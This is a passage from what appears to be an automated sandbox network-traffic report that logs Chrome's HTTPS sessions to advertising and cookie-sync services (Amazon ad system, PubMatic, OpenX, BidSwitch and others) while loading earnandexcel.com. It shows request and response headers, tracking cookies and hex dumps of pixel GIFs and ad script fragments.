2024-04-11 21:27:04 UTC	294	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //r.bidswitch.net/sync?bidswitch_ssp_id=pubmatic&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.17	50290	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	787	OUT	GET /usersync?b=pbm&i=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:04 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:04 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.17	50316	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	673	OUT	GET /x/ae12848777b41970a5f2?gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:04 UTC	827	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 291 Connection: close x-amz-rid: EXC48MZ1HX4EBHGXNDXG Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:04 UTC	291	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 73 6f 76 72 6e 26 66 76 3d 31 2e 30 26 61 3d 63 6d 26 63 6d 33 70 70 64 3d 31 26 64 6d 74 3d 33 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 64 70 72 3d 30 22 20 73 61 6e 64 62 6f 78 3d 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=sovrn&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr_consent=&gdpr=0" sandbox="allow-same-origin all

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.17	50283	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	574	OUT	GET /w/1.0/sd?id=537148856&val=ZhhVpQAFEfZtPwBa&_test=ZhhVpQAFEfZtPwBa HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334
2024-04-11 21:27:04 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.17	50287	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1450	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; PugT=1712870823
2024-04-11 21:27:04 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:04 GMT; path=/ Set-Cookie: PugT=1712870824; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:04 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:04 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.17	50304	108.138.115.149	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	578	OUT	GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 6482 Connection: close Date: Thu, 11 Apr 2024 21:27:05 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 Last-Modified: Thu, 29 Feb 2024 02:13:08 GMT ETag: "a4d296427fc806b21335359e398c025c" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=86400 x-amz-version-id: r5.lR.LJ66XEXzxUUVo7iMemjL_F_GoE Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding,Origin X-Cache: Miss from cloudfront Via: 1.1 0667564db9d2ec4ceec667e46b842a9c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: m1KPaQrJIwildJyeogQTz0Aie_shcaI5LtCO_T8jSD8KS9M-VA7t_w==
2024-04-11 21:27:04 UTC	6482	IN	Data Raw: 76 61 72 20 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 3d 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 7c 7c 7b 7d 3b 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 3d 5b 5d 2c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 72 65 70 6f 72 74 45 72 72 6f 72 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 3b 66 6f 72 28 2f 5e 68 74 74 70 73 3f 3a 5c 2f 5c 2f 2f 2e 74 65 73 74 28 61 29 3d 3d 3d 21 31 26 26 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 61 29 2c 22 2f 22 21 3d 3d 61 2e 73 75 62 73 74 72 28 61 2e 6c 65 6e 67 74 68 2d 31 29 26 26 28 61 2b 3d 22 2f 22 29 2c 62 3d 30 3b 62 3c 61 6d 7a 6e 5f 61 70 73 5f 63 73 6d 2e 65 72 72 6f 72 73 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 63 3d 27 7b 22 61 64 Data Ascii: var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.17	50307	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	881	OUT	GET /cookie-sync/adx?gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csyn%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAJYL07MMKsAABPuRNcLSw; bitoIsSecure=ok
2024-04-11 21:27:04 UTC	594	IN	HTTP/1.1 303 See Other Date: Thu, 11 Apr 2024 21:27:04 GMT location: https://bh.contextweb.com/bh/rtset?ev=AAJYL07MMKsAABPuRNcLSw&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsyn%252Csas%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 Server: gunicorn set-cookie: bito=AAJYL07MMKsAABPuRNcLSw; Domain=bidr.io; expires=Sun, 11 May 2025 17:27:04 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.17	50282	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	488	OUT	GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=5882fa9d-56ba-8758-80bb-31f28122e829&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:04 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 9HDW35QM0X6VBZP6KZD7 Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:04 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.17	50278	5.9.235.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	470	OUT	GET /mediavine-prod/detailviews/?frontend_timestamp=1712870820&frontend_sign=6132aede90471ff325884959cd5c2f86e3a8b23d HTTP/1.1 Host: client-rapi-mediavine.recombee.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	283	IN	HTTP/1.1 405 Method Not Allowed Server: nginx Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: application/json; charset=utf-8 Content-Length: 90 Connection: close Allow: DELETE,OPTIONS,POST Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS
2024-04-11 21:27:04 UTC	90	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 20 22 4d 65 74 68 6f 64 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 22 2c 20 22 73 74 61 74 75 73 43 6f 64 65 22 3a 20 34 30 35 2c 20 22 73 74 61 74 75 73 4d 65 73 73 61 67 65 22 3a 20 22 6d 65 74 68 6f 64 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 22 7d Data Ascii: {"error": "Method not allowed.", "statusCode": 405, "statusMessage": "method not allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.17	50289	107.178.254.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	675	OUT	GET /api/sync?pid=5324&it=1&iv=9646f2f32191f9f8932f9ef9381297990b1d083482338b5a518f2d4d36a62a3e791426b5417dce21&_=2 HTTP/1.1 Host: pippio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	959	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://px.ads.linkedin.com/db_sync?pid=10339&puuid=9646f2f32191f9f8932f9ef9381297990b1d083482338b5a518f2d4d36a62a3e791426b5417dce21&rand=09818982 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: did=AQScXoMjOQ4BLFBR; Path=/; Domain=pippio.com; Expires=Fri, 11 Apr 2025 21:27:04 GMT; Secure; SameSite=None Set-Cookie: didts=1712870824; Path=/; Domain=pippio.com; Expires=Fri, 11 Apr 2025 21:27:04 GMT; Secure; SameSite=None Set-Cookie: nnls=; Path=/; Domain=pippio.com; Expires=Mon, 10 Jun 2024 21:27:04 GMT; Secure; SameSite=None Set-Cookie: pxrc=CKir4bAGEgYIgr0rEAA=; Path=/; Domain=pippio.com; Expires=Mon, 10 Jun 2024 21:27:04 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.17	50309	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	815	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
2024-04-11 21:27:04 UTC	395	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //sync.aralego.com/bsw_sync?ucf_nid=par-E2B44D84BBBDED8A0B297323E4B4A68&dsp_id=445&bidswitch_ssp_id=pubmatic&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=0&gdpr_consent=&gdpr_pd=&usprivacy=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.17	50329	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	621	OUT	GET /dmp/pixelSync?nid=23&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	439	IN	HTTP/1.1 302 Found set-cookie: ssi=08375435-4bac-4a12-9c28-185426f7e004#1712870824709; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:04 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=23&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 11 Apr 2024 21:27:04 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.17	50303	108.138.115.149	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	703	OUT	GET /cdn/prod/config?src=600&u=https%3A%2F%2Fearnandexcel.com&pubid=38918095-8e45-4332-88bf-226b3514cb64 HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:04 UTC	507	IN	HTTP/1.1 200 OK Content-Type: application/json;charset=UTF-8 Content-Length: 471 Connection: close Access-Control-Allow-Origin: https://earnandexcel.com Access-Control-Allow-Credentials: true Cache-Control: max-age=21550, s-maxage=21600 Date: Thu, 11 Apr 2024 16:49:27 GMT Server: Server X-Cache: Hit from cloudfront Via: 1.1 f07e3fd03d3423bceb1c6083ab62cf8a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: 0kUet2GJ8IhniZngZfctbpEGX82mkudQ0VHYuNzLF1nyuN083WgvXw== Age: 16657
2024-04-11 21:27:04 UTC	471	IN	Data Raw: 7b 22 33 70 76 65 6e 64 6f 72 22 3a 22 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 6c 69 76 65 52 61 6d 70 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 70 75 62 63 6f 6d 6d 6f 6e 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 20 28 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 29 20 7b 77 69 6e 64 6f 77 2e 61 70 73 74 61 67 2e 5f 5f 69 64 35 5f 5f 20 3d 20 66 61 6c 73 65 3b 7d 7d 29 28 29 3b 22 2c 22 33 70 6d 65 74 61 64 61 74 61 22 3a 22 5b 7b 5c 22 70 72 6f 70 65 Data Ascii: {"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;(function(){if (window.apstag) {window.apstag.__pubcommon__ = false;}})();;(function(){if (window.apstag) {window.apstag.__id5__ = false;}})();","3pmetadata":"[{\"prope

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.17	50284	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
